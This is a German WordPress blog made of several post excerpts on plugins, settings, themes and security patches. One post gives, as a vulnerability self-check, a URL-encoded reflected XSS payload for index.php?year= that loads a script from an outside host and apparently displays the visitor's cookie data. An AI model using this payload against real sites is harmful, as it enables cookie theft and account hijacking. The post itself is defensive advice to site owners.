Peruns Weblog - Webwork und Internet

Wie kann man in WordPress die gleiche Funktionalität beibehalten und dennoch 80kb sparen? Im konkreten Fall ganz einfach: dem Smiley-Skript von Alex King tschüss sagen und das Smiley-Skript von Skippy installieren.

Die Funktionalität ist die gleiche: man klickt auf einen Smiley und dieser erscheint im Kommentar-Formular. Mit einem kleinen Unterschied. Das Plugin von Alex King lädt die komplette prototype.js (hat 80kb) egal ob man sich im Kommentar-Bereich befindet oder nicht. Das alternative Skript tut dies nicht und schlägt mit ca. zusätzlichen 6-7kb nur wenn man den Kommentar-Bereich betritt.

Einen kleinen Haken gibt es dennoch, das Skript von Alex bindet sich automatisch ein, sowohl im Kommentar-Bereich als auch im Admin-Menü. Bei dem Plugin Smiley JS Buttons muss man manuell einbinden. Folgenden Code in die comments.php einbinden:

<?php if (function_exists('SJB_outputSmilies')) {SJB_outputSmilies();} ?>

Mit der Einbindung im Admin-Bereich hapert es, die auf der Seite des Autors beschriebenen Methoden fluppen bei mir nicht. Da die dort genannten Code-Stellen bei mir nicht existieren. Ich bleibe aber am Ball.

Vielen Dank an Bernhard für den Kommentar bzw. den Hinweis.

Auf WordPress Bits bin ich auf eine interessante Sache aufmerksam geworden. Es gibt eine Möglichkeit alle WordPress-Einstellungen übersichtlich auf einer Seite auszugeben. Einfach im eingeloggten Zustand /wp-admin/options.php seines Weblogs aufrufen und es werden alle Einstellungen, die im Bereich "Einstellungen" aufgelistet sind, auf einer Seite präsentiert. Somit werden auch die Einstellungen für Plugins angezeigt.

Das Gute ist, dass die Einstellungen nicht nur angezeigt werden, man kann Sie auch direkt auf dieser Seite anpassen. Man kann sogar Einstellungen ändern, die man sonst innerhalb der Admin-Oberfläche nicht tätigen kann, z. B. standardmäßig werden die WordPress-Seiten als text/html ausgegeben. Dies kann man auf dieser Seite ändern und im Theme kann man dann an der entsprechender Stelle folgendes eingeben:

<meta http-equiv="Content-Type" content="<?php bloginfo('html_type'); ?>; charset=<?php bloginfo('charset'); ?>" />

Somit kann man dann nicht nur den Zeichensatz sondern auch den MIME-Typ der Seiten komfortabel aus dem Admin-Menü bestimmen.

Im ersten Teil der Serie habe ich einiges zur Theorie, Grundlagen und Begrifflichkeiten geschrieben. In diesem Artikel werde ich das Classic-Theme unter die Lupe nehmen und das Zusammenspiel der einzelnen Dateien und der darin enthaltenen Template-Tags erklären. Das Classic-Theme war das Standard-Theme bis zum Erscheinen von WordPress 1.5, dann wurde es von dem jetzigen Default-Theme (Kubrick) abgelöst. (» Weiterlesen…)

Ich habe bereits heute Nachmittag den Hinweis auf die Beiträge bei TecChannel.de bekommen (hier und hier). Es ist nämlich so, dass Benjamin Flesch in WordPress 2.2.1 sieben Lücken entdeckt hat und dafür einen freundlich gesinnten Wurm geschrieben hat, der die Lücke nicht ausnutzt sondern stopft. Das finde ich löblich und es zeugt von Charakter.

Auch Frank Bültge hat zu diesem Thema ein paar Worte geschrieben. Ob man den freundlichen Wurm die Arbeit erledigen lässt, es in den Dateien selbst ausbessert oder auf den offiziellen Patch wartet muss jeder für sich selbst entscheiden.

Mit diesem Artikel werde ich eine kleine Artikel-Serie starten in der ich den Aufbau der WordPress-Themes beschreibe. Speziell in diesem Artikel werde ich etwas Theorie einbringen und vor allem Begriffe aus dem Bereich der WordPress-Themes erklären.

An der einen oder anderen Stelle wird ich auch auf Einsteiger-Themen eingehen, der erfahrene WordPress-Nutzer möge mir dies verzeihen. Aber ich würde ungern, die Leser mit etwas weniger Erfahrung aussperren. Im zweiten Teil werde ich das Classic-Theme erklären und im dritten Teil den Aufbau dieses Weblogs. (» Weiterlesen…)

Die neuen Versionen von Wordpress (2.0.10. und 2.1.3) stopfen auch ein paar Sicherheitslücken. Jens hat mich vor ein paar Tagen auf eine Demo aufmerksam gemacht in dem man herausfinden kann ob ein Weblog bedroht ist oder nicht. Einfach an die Domain seines Weblogs folgendes in der Adressleiste dranhängen:

index.php?year=%22%3E%3C/title%3E%3Cscript%20src=
http://h4k.in/j.js%3E%3C/script%3E

und aufrufen. Da die Zeile zu lang ist musste ich sie umbrechen, eigentlich muss alles in eine Zeile. Wenn du dann anstatt deiner Website irgendetwas mit XSS und jede Menge komischer Daten siehst, dann hat dein Weblog eine Lücke. Bei den ausgelesenen Daten handelt sich meiner Meinung nach um die Daten aus dem Cookie.

Wie gesagt, die neuen Versionen stopfen die Lücke und schon seit einiger Zeit konnte man sich die gepatchten Dateien auch einzeln herunterladen. Mich hat es aber gewundert warum bei mir trotz des Patches die Lücke noch vorhanden war. Da die Lücke auf den title-Tag abzielt habe ich daher als erstes das Plugin "Optimal Title" deaktiviert und diese Lücke war nicht mehr vorhanden.

In wie fern es sich hier um eine kritische Sicherheitslücke handelt, dass kann ich nicht sagen. Wer aber auch ohne das o.g. Plugin die Seitentitel so ausgeben möchte das zuerst der Beitragstitel und dann der Name der Website auftaucht - gut für Lesezeichenverwaltung und für die Suchmaschinen - der schaue sich bitte den Beitrag Optimaler Seitentitel in Wordpress und die Kommentare an.

Ein guter Seitentitel ist sehr wichtig. Ich rede hierbei von dem Titel welcher sich oben in der Browserleiste befindet und durch das title-Element ausgezeichnet wird. Hier eine Abbildung:

Ein Aussagekräftiger Titel ist wichtig für den Besucher und zwar in zweierlei Hinsicht. Zum einen als Orientierung innerhalb der Website und zum anderen wird der Seitentitel bei den diversen Lesezeichen-Verwaltungen auch als Lesezeichen-Titel übernommen. Auch in Bezug auf die Optimierung einer Website für die Suchmaschinen ist der Seitentitel extrem wichtig. Da die Suchmaschinen den Seitentitel stark bewerten und weil bei der Auflistung des Suchergebnisse der Seitentitel benutzt wird. (» Weiterlesen…)